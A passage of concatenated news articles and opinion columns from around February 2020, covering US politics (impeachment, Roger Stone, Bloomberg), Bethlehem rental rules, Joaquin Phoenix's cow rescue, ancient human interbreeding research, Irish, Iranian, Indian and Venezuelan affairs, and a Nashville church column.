recent weeks has been precisely what would apply to a legal defense against criminal charges brought in a court of law. Admit that Trump tried to extort a political investigation from the Ukrainians by withholding foreign aid but say that there was no investigation and they still got their aid (no harm, no foul). Let John Bolton be deposed before the Senate Judiciary Committee or stipulate that his testimony would be unfavorable. Get the president past conviction at the price of handing the Democrats a sword, or rather a poleax, to use against him in the election. The reckless use of impeachment, removing the leader chosen by the American people at the ballot box because of policy differences and partisan hatred, is itself a threat to national security. It eviscerates the national comity and puts civil war on the horizon. Goldberg takes exception to the notion that the trial and removal of the President is a draconian measure. It is really not that big a deal -- Congress chooses to fire the chief executive. No, the people of the United States do that themselves if they wish, after four years, with the members of the Electoral College their only representatives. Still in Federalist Number 65, Hamilton refers to the awful discretion which a court of impeachment must necessarily have and foresees the greatest danger that the decision will be regulated more by the comparative strength of the parties than by the real demonstrations of innocence or guilt. What regulated the Democrats decision in the House of Representatives when they impeached President Trump? What will regulate the decision to impeach in the future, if the machinations of Pelosi, Schiff, and Nadler form the precedent? A Bethlehem City Council committee Thursday night backed tightening the citys rules regulating home-sharing rentals and suggested levying heftier fines on those who violate the rules. The city first sought to regulate short-term rentals in 2017 to stop investors from snatching up properties in Bethlehems Historic District and listing them on Airbnb. The ordinance requires all short-term rentals to be owner-occupied, licensed and inspected and sets specific limits on the length of rentals. But Bethlehems efforts to regulate the rentals were dealt a blow when Northampton County Judge Craig Dally issued a ruling Oct. 8, 2018, denying the citys request to toss out a legal challenge of the new law by Historic District residents Jay Brew and Dr. Mary Ellen Williams, who were cited eight times under the rules. City Director of Community and Economic Development Alicia Miller Karner said the judge made it clear he did not feel the citys rules were up to muster. We knew we needed to take a step back, Karner explained to a council committee Thursday evening. The Commonwealth Court shot down several local governments efforts at regulating home sharing. But then in April 2019, the Pennsylvania Supreme Court ruled Hamilton Township, Monroe Countys zoning ordinance barred short-term rentals in strictly residential districts. So, that opened the door for us to create a new land use category within the ordinance, explained Darlene Heller, city planning and zoning director. The city is simultaneously proposing a zoning amendment and updating its law regulating short-term rentals to get them in line with each other. On Thursday, councils Community and Economic Development Committee endorsed the tweaks to Article 1741 and suggested the city toughen the penalties. This is business that is fairly lucrative, which is why we have a proliferation of these units throughout the city," Karner said. Councilwoman Dr. Paige Van Wirt suggested keeping the fine for the first violation at $200 and/or 30 days in jail, but upping the second fine to $750 and/or 60 days in jail and the penalty for a third violation to $1,500 and/or 90 days in jail. Council members J. William Reynolds and Grace Crampsie Smith supported the idea. I dont think that $1,000 for the third fine is enough seeing they can earn that much in three nights, Van Wirt said. The administration supports the higher fines and will include them in the draft that goes to the full council for review, Karner said. It is a balancing act between creating a sufficient deterrent with the fines, while crafting something a district magistrate will enforce, she said. The city is floating zoning amendments as well as this ordinance change to more clearly spell out where the city allows home-sharing, when folks rent their homes online on places like Airbnb, VRBO and HomeAway, and define whats permitted. The city currently has 20 short-term lodging facilities that are properly licensed and inspected, Heller said. But a few online searches turn up plenty operating outside the bounds of the regulation. Last month, Bethlehem City Council unanimously passed a resolution declaring the two changes pending ordinances, which means any new uses from Jan. 21 on would be subject to the new zoning. Council scheduled a public hearing on the new zoning rules for March 3. The proposed changes define a short-term lodging as an owner-occupied single family dwelling that can be rented to a visitor for no more than 30 consecutive nights. If a property is larger than an acre, outbuildings on the land could be used, according to the proposed ordinance. So, if someone rents out their home while in Florida or buys a home as a short-term rental investment, they would be in violation of the citys rules if enacted. If it is not a bed-and-breakfast by definition, it will be considered a hotel, according to the proposed changes. No more than two rooms may be rented and no signs can advertise the rentals, the draft states. A rental must have two off-street parking spaces, unless the short-term rental is located in the central business district. The renter can not use the space to hold a wedding, party or business meeting. Historic District resident Alan Lowcher was concerned that the off-street parking -- two spaces -- requirements would be too burdensome for folks looking to rent out a spare room while a kid was at college. Owners also must comply with the existing annual licensing and inspections outlined in the citys short-term lodging rules. They would be allowed in the rural residential and single-family residential by special exception and permitted in the medium-density residential district and the residential overlay district, but prohibited in the residential retirement complex. Airbnbs would be allowed in the citys limited commercial, central business; industrial redevelopment and the office-mixed use districts. They would be prohibited in the general commercial and shopping center, light industrial, industrial, planned industrial, office-research center, institutional, mixed-use commercial and industrial redevelopment-residential option districts. The second proposed ordinance change requires the owner of bed-and-breakfasts to live on site. Sara K. Satullo may be reached at ssatullo@lehighvalleylive.com. Follow her on Twitter @sarasatullo and Facebook. Find lehighvalleylive.com on Facebook. Joaquin Phoenix carries a baby calf away from a slaughterhouse. (Photo: Shaun Monson) If there were any doubts about whether Joaquin Phoenix was sincere in his Oscars speech advocating for animal rights, this should clear them up. The Joker star rescued a cow and her baby from the Manning Beef facility in Pico Rivera, Calif., and took them to Farm Sanctuary in Acton, Calif., where they can live together in peace, without threat of being slaughtered. The move came a day after Phoenix spent his time at the podium, while accepting the Best Actor trophy for his turn in Joker, decrying the way humans treat all of the natural world. He specifically cited the plight of cows. We feel entitled to artificially inseminate a cow and when she gives birth, then we steal her baby, even though her cries of anguish are unmistakable, Phoenix said. And then we take her milk thats intended for her calf and we put it in our coffee and our cereal. Grassroots group Los Angeles Animal Save captured Phoenixs efforts in a moving, 8-minute video. It shows him touring the Manning Beef facility with Anthony DiMaria, the president and CEO. They argue a little over whether cows there are harvested or murdered. Then, Phoenix literally carries the calf out of the gates. Both animals, which Phoenix named Liberty (the mother) and Indigo (the baby), are later shown galloping around at their spacious new home. A message at the start of the video explained that, when Phoenix spoke at the Oscars, his visit had not yet been planned. Joaquin Phoenix rescues a cow and her calf. (Photo: Shaun Monson) Phoenix released a statement with the footage: I never thought Id find friendship in a slaughterhouse, but meeting Anthony [president/CEO of Manning Beef] and opening my heart to his, I realize we might have more in common than we do differences. Without his act of kindness, Liberty and her baby calf, Indigo, would have met a terrible demise. Although we will continue to fight for the liberation of all animals who suffer in these oppressive systems, we must take pause to acknowledge and celebrate the victories, and the people who helped achieve them. Shaun Monson, Amy Jean Davis, and the entire LA Animal Save community, have taken their pain of bearing witness and turned it into effective, diplomatic advocacy for the voiceless. As a result, Liberty and Indigo will never experience cruelty or the touch of a rough hand. My hope is, as we watch baby Indigo grow up with her mom Liberty at Farm Sanctuary, that well always remember that friendships can emerge in the most unexpected places; and no matter our differences, kindness and compassion should rule everything around us. Story continues A news release about the rescue noted the Walk the Line star regularly attends L.A. Animal Saves peaceful vigils at local slaughterhouses. Phoenixs advocacy work doesnt stop there. He was reportedly the person who convinced the Hollywood Foreign Press Association, which hands out the Golden Globes, to offer its first all-vegan menu this year. Read more from Yahoo Entertainment: Want daily pop culture news delivered to your inbox? Sign up here for Yahoo Entertainment & Lifestyle's newsletter. For three years, anthropologist Alan Rogers has attempted to solve an evolutionary puzzle. His research untangles millions of years of human evolution by analyzing DNA strands from ancient human species known as hominins. Like many evolutionary geneticists, Rogers compares hominin genomes looking for genetic patterns such as mutations and shared genes. He develops statistical methods that infer the history of ancient human populations. In 2017, Rogers led a study which found that two lineages of ancient humans, Neanderthals and Denisovans, separated much earlier than previously thought and proposed a bottleneck population size. It caused some controversy -- anthropologists Mafessoni and Prufer argued that their method for analyzing the DNA produced different results. Rogers agreed, but realized that neither method explained the genetic data very well. "Both of our methods under discussion were missing something, but what?" asked Rogers, professor of anthropology at the University of Utah. The new study has solved that puzzle and in doing so, it has documented the earliest known interbreeding event between ancient human populations -- a group known as the "super-archaics" in Eurasia interbred with a Neanderthal-Denisovan ancestor about 700,000 years ago. The event was between two populations that were more distantly related than any other recorded. The authors also proposed a revised timeline for human migration out of Africa and into Eurasia. The method for analyzing ancient DNA provides a new way to look farther back into the human lineage than ever before. "We've never known about this episode of interbreeding and we've never been able to estimate the size of the super-archaic population," said Rogers, lead author of the study. "We're just shedding light on an interval on human evolutionary history that was previously completely dark." The paper was published on Feb. 20, 2020, in the journal Science Advances. advertisement Out of Africa and interbreeding Rogers studied the ways in which mutations are shared among modern Africans and Europeans, and ancient Neanderthals and Denisovans. The pattern of sharing implied five episodes of interbreeding, including one that was previously unknown. The newly discovered episode involves interbreeding over 700,000 years ago between a distantly related "super-archaic" population which separated from all other humans around two million years ago, and the ancestors of Neanderthals and Denisovans. The super-archaic and Neanderthal-Denisovan ancestor populations were more distantly related than any other pair of human populations previously known to interbreed. For example, modern humans and Neanderthals had been separated for about 750,000 years when they interbred. The super-archaics and Neanderthal-Denisovan ancestors were separated for well over a million years. "These findings about the timing at which interbreeding happened in the human lineage is telling something about how long it takes for reproductive isolation to evolve," said Rogers. The authors used other clues in the genomes to estimate when the ancient human populations separated and their effective population size. They estimated the super-archaic separated into its own species about two million years ago. This agrees with human fossil evidence in Eurasia that is 1.85 million years old. The researchers also proposed there were three waves of human migration into Eurasia. The first was two million years ago when the super-archaics migrated into Eurasia and expanded into a large population. Then 700,000 years ago, Neanderthal-Denisovan ancestors migrated into Eurasia and quickly interbred with the descendants of the super-archaics. Finally, modern humans expanded to Eurasia 50,000 years ago where we know they interbred with other ancient humans, including with the Neanderthals. "I've been working for the last couple of years on this different way of analyzing genetic data to find out about history," said Rogers. "It's just gratifying that you come up with a different way of looking at the data and you end up discovering things that people haven't been able to see with other methods." Nathan S. Harris and Alan A. Achenbach from the Department of Anthropology at the University of Utah also contributed to the study. Former Sinn Fein President Gerry Adams has rejected claims that "shadowy figures" play a key role in the running of the party. Ahead of the party's surprise election success Fianna Fail leader Micheal Martin ruled out entering coalition with Sinn Fein, saying "shadowy figures" and "unelected officials" were running the party. Taoiseach Leo Varadkar echoed the comments saying "Sinn Fein is not a normal party". Since the election, Sinn Fein's party structures have been cited as a reason by both Fianna Fail and Fine Gael for not entering coalition with the party. However Mr Adams rejected this criticism, saying that the unelected officials in Sinn Fein were no different from any other party. He said that the claims could also lead to people being targeted with threats as Sinn Fein vice president Michelle O'Neill and MLA Gerry Kelly have been in recent weeks. Expand Close Ted Howell / Facebook Twitter Email Whatsapp Ted Howell Mr Adams said that the so-called "shadowy figures" including Ted Howell, Padraic Wilson, Marty Lynch, Sean Murray and Bobby Storey were well known to both the UK and Irish Governments as well as Mr Varadkar and Mr Martin. Writing in his blog, the former West Belfast MP said that they had been part of the Sinn Fein negotiating team for a "very long time" and had met leading political figures including Tony Blair, Gordon Brown, Theresa May and Bertie Aherin during political negotiations. Mr Adams cited the role of former IRA prisoners, including Mr Storey and Mr Murray, in addressing legacy issues in the Stormont House negotiations in 2014. He wrote that apart from Mr Storey who was absent due to illness, the "shadowy figures" also played key roles in the recent New Decade, New Approach agreement. "All of these activists are well known. They have held senior public and elected positions in the party. Many have had long and fruitful relationships with senior Irish and British government Ministers and officials as we have charted a course from conflict, through a peace process, to an end to conflict and peace," the recently retired former TD wrote. Mr Adams said that the IRA had been urged to give up violence and now former IRA members who had entered politics were being told this was "not good enough". Expand Close Bobby Storey / Facebook Twitter Email Whatsapp Bobby Storey He also cited a willingness to work with some former elected IRA members like Sinn Fein MLAs Gerry Kelly, Caral Ni Chuilin and Conor Murphy while referring to those unelected as "shadowy". "I am certain if Padraic Wilson, Ted, Big Bob or Marty Lynch, Sean Murray or others like them stood for election in their communities they would be elected," the former Sinn Fein President wrote. Mr Adams said that the community work and engagement of former prisoners and IRA members was part of the reason that dissident republican groups enjoyed such little support. He accused Fianna Fail and Fine Gael of having "selective memories" noting both parties emerged from conflict and had close relationships with the IRA. "Sinn Fein agrees policy at our Ard Fheis which is entirely open to the media and is widely covered by it. Our Ard Comhairle and party leader are elected at the Ard Fheis. Very democratic. Very public, very open," Mr Adams wrote. Expand Close Padraic Wilson / Facebook Twitter Email Whatsapp Padraic Wilson It was revealed on Friday that despite standing down as Louth TD ahead of the General Election Mr Adams was part of Sinn Fein's negotiating team as they attempt to form a government in the Irish Republic. A source said Mr Adams has been involved in a negotiations for "most of his life" and this was the reason for his involvement in the talks. He sat in the Dail's visitors' gallery in Leinster House during the vote for Taoiseach on Thursday, with his successor Mary Lou McDonald gaining the most votes, but still falling short of securing the position. In the midst of the debate around Sinn Fein's leadership Garda Commissioner Drew Harris has said his force's view is that the IRA Army Council still oversees the running of the party. The former PSNI Deputy Chief Constable said his view "does not differ" from the PSNI's analysis on the issue. When Iranians go to the polls on Friday they will be taking part in what may be the least representative and least fair election in the Islamic Republics history. While Irans parliamentary elections have never been free and democratic, Irans clerical leadership disqualified more than 7,000 candidates from running this year, including most of the moderates and centrists, paving the way for tougher domestic and foreign policies. At a time when Iran is navigating extraordinary challenges at home and abroad from the possibility of conflict with the United States to crippling economic sanctions and a restive population Irans supreme leader, Ayatollah Ali Khamenei, appears to have concluded that the best way to manage the turmoil is to squelch dissenting voices and assure a Parliament that would rubber-stamp conservative policies. The next Parliament will be completely obedient to Khamenei, more radical in their approach, and the little voices of dissent we hear on different issues will be silenced, said Roozbeh Mirebrahimi, an independent Iran analyst based in New York. The CBI and the ED have told the Delhi High Court that Christian Michel, an alleged middleman arrested in connection with the AgustaWestland VVIP chopper scam cases, should not be granted bail as he has a nexus with influential people and can influence witnesses. The investigating agencies, in their written submissions opposing the bail pleas of Michel, have contended that he was extradited to India with unprecedented difficulty and there is all likelihood of him fleeing from justice, if enlarged on bail as he had no roots here. Justice Anu Malhotra listed the matter for further hearing on February 26. Michel, who was arrested in 2018 and is in judicial custody since January 5, 2019, has been denied bail in both the matters by the trial court. He has approached the high court against the lower court's decision. The agencies, in their submissions, said Michel has deep nexus with influential and powerful persons and has made inroads in the bureaucracy or executive. "There are Letters Rogatory pending in the United Kingdom which have not been executed in light of the deliberate delay. The same shall further be stalled if the applicant is released on bail. "It is a matter of record that the applicant has influence in the British High Commission," they said. They added that Michel had successfully evaded the entire investigation and trial in Italy, which despite being a member of the European Union, could not successfully bring him to face the judicial process. "There are ample circumstances which go on to show that if enlarged on bail, the applicant would influence the witnesses and tamper with the evidence, thereby hampering the investigation herein, which is at the last stages and which does not solely rest on documentary evidence," the agencies said. They claimed that Michel is likely to evade the process of law and tamper with evidence, if enlarged on bail, and cannot claim parity with other co-accused. The agencies said though it is correct that the Supreme Court in a number of cases has held that 'bail is the rule and jail is the exception', this case falls in one of those exceptional categories. "The primary purpose of bail is to secure the presence of the accused and to preserve the sanctity of investigation, apart from considering the nature and gravity of the offence and the role played by the accused persons. The release of the applicant on bail, in such a scenario, is liable to be rejected," they said. In his plea for regular bail in the corruption case lodged by the CBI, Michel contended that the entire case depends on documentary evidence which has already been collected by the investigation agency and produced before the trial court. He has also contended that no economic loss has been caused to the exchequer as Euro 8.35 million was received as compensation by India which also confiscated three helicopters worth Euro 150 million. The plea said that all the accused named in the FIR are on bail and no other public servant has been arrested or interrogated in relation to any transaction with him. It also stated that in the supplementary charge sheet filed by the ED, after interrogating him, no role has been attributed to him with regard to change in specifications of the VVIP helicopters. It claimed that Italian courts had acquitted him and all the other accused in the case and therefore, his prosecution here "amounts to double jeopardy". Apart from that, the application also raises medical grounds for grant of bail. It states that Michel has stones in his kidney and has lost weight. The special CBI court had denied him the relief, saying there was no sufficient ground to grant bail. Michel, extradited from Dubai, was arrested by the ED on December 22, 2018. On January 5 last year, he was sent to judicial custody in the ED case. He is also lodged in judicial custody in another case registered by the CBI in connection with the scam. Michel is among the three alleged middlemen being probed in the case by the ED and the CBI. The other two are Guido Haschke and Carlo Gerosa. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) MANILA, Philippines Motorists may use the Malabon exit of the North Luzon Expressway (NLEx) Harbor Link beginning Friday night (February 21). The Department of Public Works and Highways (DPWH) earlier opened to motorists the 1.2 kilometer stretch of the expressway. The opening of the Harbor Links Malabon exit is expected to ease traffic situations in the areas of Caloocan, Malabon, and Navotas. Napakalaking bagay dahil sa ngayon bukas naman ang Harbor Link pero pagbaba ng kotse sa C3 nag-e-embudo dahil sa medyo makitid (This is a big relief. As of the moment, the Harbor Link may be open but the bottleneck starts when motorists reach C3 due to the narrow road), Public Works Secretary Mark Villar said. Pero ngayon po dahil sa exit paggaling sa NLEx pwede nang bumaba sa Dagat-Dagatan derecho na either C4 at from C4 pwede nang mag R10 (Now with the exit coming from NLEx motorists may go to Dagat-Dagatan then straight to C4. From C4 you may take Road 10), he added. Villar also believes that the project will help boost tourism in the CAMANAVA area. Starting tonight, motorists may enjoy toll-free travel through Malabon exit for one month while the Toll Regulatory Board assesses the toll pricing. The DPWH targets to complete the NLEx Harbor Link project by the end of March. The NLEx Harbor Link connects NLEx Segment 10, a roadway that leads Port of Manila directly to NLEx. DPWH estimates around 30,000 motorists will benefit from the project daily once completed. MNP (with details from Joan Nano) The post NLEx Harbor Link Malabon exit opens to motorists appeared first on UNTV News. Union Home Minister Amit Shah on Friday held extensive discussions with his Maldivian counterpart Sheikh Imran Abdulla during which they discussed about ways to further strengthen the ties between the two countries. Abdulla is on a four-day visit to India since Thursday. "Met Mr. Sheikh Imran Abdulla, Home Minister of the Republic of Maldives. Held extensive discussions on ways to further deepen and strengthen ties between India and Maldives," Shah tweeted after the meeting. Both the ministers were believed to have discussed issues relating to bilateral security cooperation, an official said. India and Maldives share ethnic, linguistic, cultural, religious and commercial links steeped in antiquity. Except for a brief period between February 2012 and November 2018, relations between the two countries have been close, cordial and multi-dimensional. India was among the first to recognise Maldives after its independence in 1965 and to establish diplomatic relations with the country. Proximity of Maldives to the west coast of India (it is barely 70 nautical miles away from Minicoy and 300 nautical miles away from India's West coast), and its situation at the hub of commercial sea-lanes running through the Indian Ocean and its potential to allow a third nation's naval presence in the area imbues it with significant strategic importance to India. STOCKHOLM, Feb. 20, 2020 /PRNewswire/ -- Over the past few years, Wood Resources International (WRI) has distributed market insights on a regular basis to over 8000 forest industry executives, analysts, investors, consultants and journalists worldwide. These market briefs cover the most recent developments in regard to global wood supply, forest industry production, forest products trade, and pricing of sawlogs, pulpwood, wood chips, lumber and pellets. A majority of the information in our market insights has been gleaned from our market report, theA Wood Resource Quarterly (WRQ), as well as from our continuous analyses of market developments in key countries around the world.A A few of the most recent global woodA Market InsightsA A are listed below and can be downloaded on our website. (www.woodprices.com )A Europe has Rapidly Become a Major Supplier of Softwood Logs to China . has Rapidly Become a Major Supplier of Softwood Logs to . Profit Margins have Declined Faster for Sawmills in Finland than in Sweden.A than in Sweden.A The Global Forest Industry this Quarter. Global Trade of Softwood Lumber Slowed in the 3Q/19.A Eucalyptus Pulplog Prices in Brazil Have Fallen the Past Year. Have Fallen the Past Year. Global Trade of Wood Pellets up 21% in 2018. The Global and European Sawlog Price Indices Declined in 2019.A Tightening Supply of Hardwood Chips in the Pacific Rim . If you are interested in up-to-date insights to the international wood market, you may consider subscribing to the WRQA Market Insights. We offer two levels of our subscription service: BasicA One Market Insight per monthA Free PremiumA 3-5 Market Insights per monthA US$85/yearA TheA Market InsightsA at theA PremiumA level are complimentary for WRQ subscribers. If you would like to subscribe to theA Market Insights, please go to our website to the contact information box below.A If you need more in-depth market information, consider subscribing to the 56-page quarterly market publication, theA Wood Resource Quarterly. The WRQ has tracked international wood market pricing since 1988 and the report is read by forest industry analysts in over 30 countries. Wood Resources International LLC info@woodprices.comA www.woodprices.com This information was brought to you by Cision http://news.cision.com https://news.cision.com/wood-resources-international-llc/r/wood-resources-international-expands-its-popular-market-insight-subscription-service,c3031191 Foreign Affairs Minister Francois-Philippe Champagne hosted delegates from the Lima Group of nations in Gatineau, Que. today part of what he called a campaign to "reinvigorate" efforts to remove the Nicolas Maduro regime in Venezuela. Those efforts seem to have lost some momentum over the past year, after Juan Guaido took the oath of office as acting president of Venezuela. Foreign ministers and envoys from Argentina, Bolivia, Brazil, Chile, Colombia, Costa Rica, the Dominican Republic, Ecuador, Guatemala, Guyana, Haiti, Honduras, Panama, Paraguay, Peru, St. Lucia and Venezuela joined Champagne at the Museum of History across the Ottawa River from Parliament Hill. Today, the Lima Group ministers censured Venezuela's government for leading the country "down a path of economic collapse, human rights abuses, increased criminality and environmental destruction." Canada and other Lima Group members have accused the Maduro government of generating income to remain in power by allowing reckless and destructive mining for gold, coltan and other minerals in ecologically-sensitive parts of the country's Orinoquia and Amazon regions. Canada and the other members of the Lima Group were quick to recognize Guaido as Venezuela's legitimate leader, as were the nations of the European Union and the United States. But it's still Nicolas Maduro who sits ensconced in the Miraflores Palace in Caracas, while Guaido faces a steady barrage of police and mob harassment. Guaido experienced some of that when he returned to Venezuela on February 11, after a trip that brought him to Ottawa. The Maduro government has shied away from crossing one red line that was set when the U.S. government said it would respond harshly to any attempts to detain or physically harm Guaido. But authorities in Venezuela frequently skate right up to that line and arrest or assault those close to him. His uncle Juan Marquez, who was travelling with Guaido on his return to Venezuela, was arrested Feb. 11. This morning, police raided Marquez's home. Story continues Canada called the meeting of the Lima Group to try to keep the group's efforts going after a year of changes in its membership and little progress on the ground in Venezuela. Eighteen governments attended a relatively high number for a group which has seen its membership fluctuate as governments with different views on the Venezuelan crisis have won or lost elections in their own countries. Evan Dyer A pro-Maduro government in Bolivia was replaced by an anti-Maduro acting government following a street rebellion in October. So Bolivia which once denounced the Lima Group as a tool of imperialism sent its new foreign minister Karen Longaric Rodriguez to Ottawa. Mexico, a founding member of the Lima Group, did not attend. Its president Andres Manuel Lopez Obrador, who came to power at the end of 2018, has taken Mexico to the left and drifted away from the group. Argentina also has taken a sharp turn to the left, re-electing a party that was once close to the governments of Hugo Chavez and Nicolas Maduro. But that government appears to have lost its enthusiasm for its erstwhile Venezuelan allies; Argentina was also represented at today's meeting. No new strategy What was lacking, however, was a new strategy or any new measures that might increase the pressure on the Maduro government, other than a commitment to keep on talking. "In the coming days and weeks," said a joint statement issued today, "representatives of the Lima Group will engage in an intensive period of outreach and consultation with all countries that have an interest in the restoration of democracy in Venezuela. "We believe it is time to send a clear and unequivocal message to Venezuelans that the time is now to end this crisis and that the international community stands ready to support this process." Venezuela's population has continued to decline as millions of people leave the country in search of better lives; many of them have walked across the country's borders with Colombia and Brazil. Many of the South American countries represented in today's meeting are struggling to accommodate large numbers of Venezuelan migrants. U.S. District Judge Amy Berman Jacksons more than three-year sentence of dirty trickster Roger Stone stands as a courageous and salutary rebuke to a president who has attacked her, the Justice Department and even a juror as part of a campaign to keep his longtime adviser out of prison. But Jackson went further, directly taking on Trump and companys broader assault on the rule of law and, indeed, reality itself. The truth still exists, Jackson said during Stones sentencing hearing Thursday in Washington. The truth still matters. Jackson sentenced Stone to 40 months in federal prison for lying to Congress and intimidating another witness to conceal his role as a liaison between Trumps 2016 campaign and the Russian intelligence agents who hacked Democrats emails. He was the last of half a dozen Trump associates who admitted or were convicted of federal crimes as a result of Special Counsel Robert Muellers investigation. And he was the one who most undermined Trumps mantra that there was no collusion between his campaign and the Kremlin. Stones tendency to dress and act like a cartoon villain serves to distract from his serious crimes. But his thwarting of congressional investigators like Trumps potentially criminal obstruction of the investigation that led to his advisers conviction foreshadowed the presidents escalating war on the independence and integrity of the Justice Department in Stones case and others in which he has a personal interest. After Trump criticized prosecutors for arguing that Stone should serve seven to nine years in prison based on federal sentencing guidelines, Attorney General William Barr took what the judge called the unprecedented step of softening the governments stance. Barr has since pleaded with the president to cease his commentary on specific cases and floated the possibility of resigning, albeit to no apparent avail. Trump has continued his advocacy for Stone and his attacks on the justice system. Four prosecutors quit the Stone case in protest, and more than 2,000 former Justice officials have called for Barrs resignation. Meanwhile, despite having signed the more lenient sentencing recommendation ordered by the attorney general, a replacement prosecutor described the case against Stone in court Thursday as righteous, defended aspects of the governments original sentencing advice, and argued for the sort of substantial period of incarceration ultimately imposed. The disarray was not lost on Jackson, who at one point asked, What is the governments position today? Although Trump failed to cow the judge, he isnt likely to be done abusing his power for the benefit of his cronies and himself, particularly after the Republican-controlled Senate gave him license to do so by refusing to seriously consider impeachment charges. Trump pardoned a bevy of fraud and corruption convicts this week and has repeatedly signaled he could do the same for Stone and other criminals who have been close to him. As Jackson noted, that prospect should inspire bipartisan revulsion. The dismay and the disgust at the attempts by others to defend his (Stones) actions as just business as usual in our polarized climate should transcend party, she said. The dismay and disgust at any attempt to interfere with the efforts of prosecutors and members of the judiciary to fulfill their duty should transcend party. With the attorney general, the Senate and others not just failing to restrain the president but enabling his worst excesses, the country relies more heavily on the ranks of principled officials such as Judge Jackson. This commentary is from The Chronicles editorial board. We invite you to express your views in a letter to the editor. Please submit your letter via our online form: SFChronicle.com/letters. Nashville is the worst place in the world for name dropping. If you start talking about anybody famous, someone in your conversation will claim to know that person and know them well. Given Nashvilles laid-back attitude about its stars, the claims arent out of the ordinary. Famous music stars are regularly seen in local restaurants, grocery stores and coffee shops. Cordial run-ins are commonplace around here. Most of the time, the stars are very gracious, and the exchange of greetings can give you something to talk about later. Those greetings shouldnt be confused with friendships. They shouldnt even be considered an acquaintance. Yet, on more than one occasion, Ive had someone tell me they knew a famous star only to find out they didnt really know the person at all. They may have seen them around town, but they dont know that person not even close. Theyre just dropping names. This is what I thought about as I read about how Christianity is facing a rapid decline in attendance and those who attend church. According to recent studies, as much of 40% of students will walk away from the Christian faith as they become adults. Millions of people have stopped coming to church at all and deny any kind of religious affiliation. I get it. There are, of course, several reasons that feed into this new reality. One of them is honesty. Several years ago, being a member of a local church was a social expectation. No one really cared if you attended or not, or if you adhered to the churchs statements of faith. You just had to be a member. That means denominational executives were able to claim thousands of members who were never active in any reasonable manner in any church. Their names were the rolls. Thats it. So, when the numbers started dropping, I wasnt surprised. I thought we were finally getting our numbers straightened out. The numbers seemed to be a little more accurate at least from my experience. Lets just say there have never been as many Christians in local churches as was claimed. We have a lot of name droppers. True, we used to live in a Christian society where everyone was assumed to be Christian. For the most part, we used the same religious language and we shared the same assumptions about life and love, good and evil. As our nation has become more and more diverse, this is no longer the case. However, in a lot of places assumed to be Bible Belt America, it would still hold true. We assume everyone is a Christian. They arent. They claimed to know Jesus when they had only actually run into Him at youth camp or a revival meeting. They may have even had an emotional encounter. But they never really met Jesus. They never became a disciple of Jesus. They never thought about it that much. They just followed along as long it was convenient, and when it stopped being convenient, they stopped following. The numbers dropped across the nation. People didnt have to go church anymore to be socially accepted. So, they didnt. And Im OK with that. At least were beginning from a place of honesty. If you dont believe, fine. Just be honest about it and lets begin the conversation with where you really are. If you dont know Jesus, thats fine. Just say that up front. Had a bad experience at church? I get it. Have trouble believing some of the difficult passages of the Bible? Me too. Lets talk about it. I am a Christ-follower. I try my best to live according to His teaching and in such a way that honors Him. I fail, and I fail a lot, but its not for lack of trying. Im learning every day how to do it better. I think following Christ is the best way to live. Id love to tell you about the difference Jesus makes in my life. Id love to hear your story. And if you decide not to believe, Ill respect your choice. I wont necessarily like it, but Ill respect it. And well still be friends. But lets spare each other the name dropping. Friends deserve more from each other. Calvin Butts III, influential pastor of black church, under fire for endorsing Bloomberg Email Print Img No-img Menu Whatsapp Google Reddit Digg Stumbleupon Linkedin Comment NEW YORK The Rev. Calvin Butts III, the influential pastor of the historic Abyssinian Baptist Church in Harlem, is drawing strong criticism from some members of his church for throwing his support behind billionaire Democratic presidential candidate Michael Bloomberg, who is currently under fire for his controversial support of stop-and-frisk policies that targeted mainly black and Hispanic residents. The criticism has come in the wake of the revelation of audio, reportedly from a 2015 speech in Colorado, in which Bloomberg claims that "95%" of "murders and murderers and murder victims" are male minorities between the ages of 16 to 25 and the way to reduce violence in the city is to throw minority kids "up against the walls and frisk them." "You can just take the descriptions and Xerox it and pass it out to all the cops," Bloomberg can be heard saying on the audio. In a Politico report, Butts described how he and a group of about 20 black pastors met with Bloomberg at the billionaires Times Square headquarters to discuss the issue. He said Bloomberg apologized and Butts accepted the apology for his stop-and-frisk record because he has spent his money on causes that are important to black New Yorkers. We accept your apology at one level, but we want to let you know that well be looking for more concrete expressions of your apology in terms of the African American community, Butts said, describing the line of questioning from a different clergy member in attendance. He said Bloomberg was quiet in the meeting and facilitated a genuine exchange that was not hostile. He accepted what was being said to him. Butts also recalled how Bloomberg offered his economic development operation a sizable donation, a reported $1 million, timed to the bicentennial of his Abyssinian Baptist Church. He used his money, which is one of the reasons I continue to support him, to express his sincerity, Butts said. Jerome Jackson, a 63-year-old Harlem resident and congregant at Abyssinian, told Gothamist that he doesnt believe most of the churchs congregants would support their pastors endorsement of Bloomberg. He shouldnt be endorsing anyone on the churchs behalf, Jackson said. I do not think most of the people here agree with those statements." The Christian Post reached out to Abyssinian Baptist Church but Butts was not immediately available. Darren A. Ferguson, pastor at Bethel Baptist Church in New Jersey who also served as Youth Minister at Abyssinian Baptist Church, said in a statement on Facebook on Tuesday that he did not interpret Butts as speaking on behalf of his church in endorsing Bloomberg. #Gothamist put out an article regarding my pastor, the Rev. Dr. Calvin O. Butts, III endorsing Michael Bloomberg. Dr. Butts has never (at least not in my hearing/presence/rememberance) and will not endorse a candidate from the pulpit. If he did endorse Bloomberg, he did it for his own reasons, whatever they may be. He taught me that I should never ENDORSE a candidate from the pulpit (he does, however, speak about politics), Ferguson wrote. It is like saying that your congregation is not smart enough to decide who to vote for. This article, as are MOST of the things published regarding my pastor, is skewed to try and assassinate his ministry and character, which I will NEVER allow without speaking up!! I dont always agree with him, but as my pastor I will defend him & stand with him to the end, Ferguson added. Jackson as well as other churchgoers, according to Gothamist, suggested that Butts' support for Bloomberg is based on political and financial opportunism. Hes had his palms greased before, Jackson explained, pointing to Butts endorsement of Republican governor George Pataki in 1998 and Hillary Clinton over Barack Obama in 2008. Butts was appointed by a governor-controlled board as president of SUNY Old Westbury, where he took home a recent salary of $246,684, according to public records, after Pataki won. The New York Times also previously reported how Bloomberg was able to use his wealth to attract the support of other black clergy in the past. Some Harlem residents say that they cannot overlook Bloombergs record. I've been stopped and frisked. My daughter has been stopped and frisked. My daughter's friends have been stopped and frisked, Tobius Simmons, a security guard at Williams Institutional CME, a Methodist Episcopal church a few blocks south of Abyssinian, told Gothamist. So he's had a negative impact on quality of life for most working-class people around here. The things that come out of his mouth about certain segments of society he's unaware and arrogant. Bloomberg is expected to make his first appearance in a Democratic presidential debate on Wednesday night. The debate will begin at 9 p.m. ET and is expected to last two hours. It is being 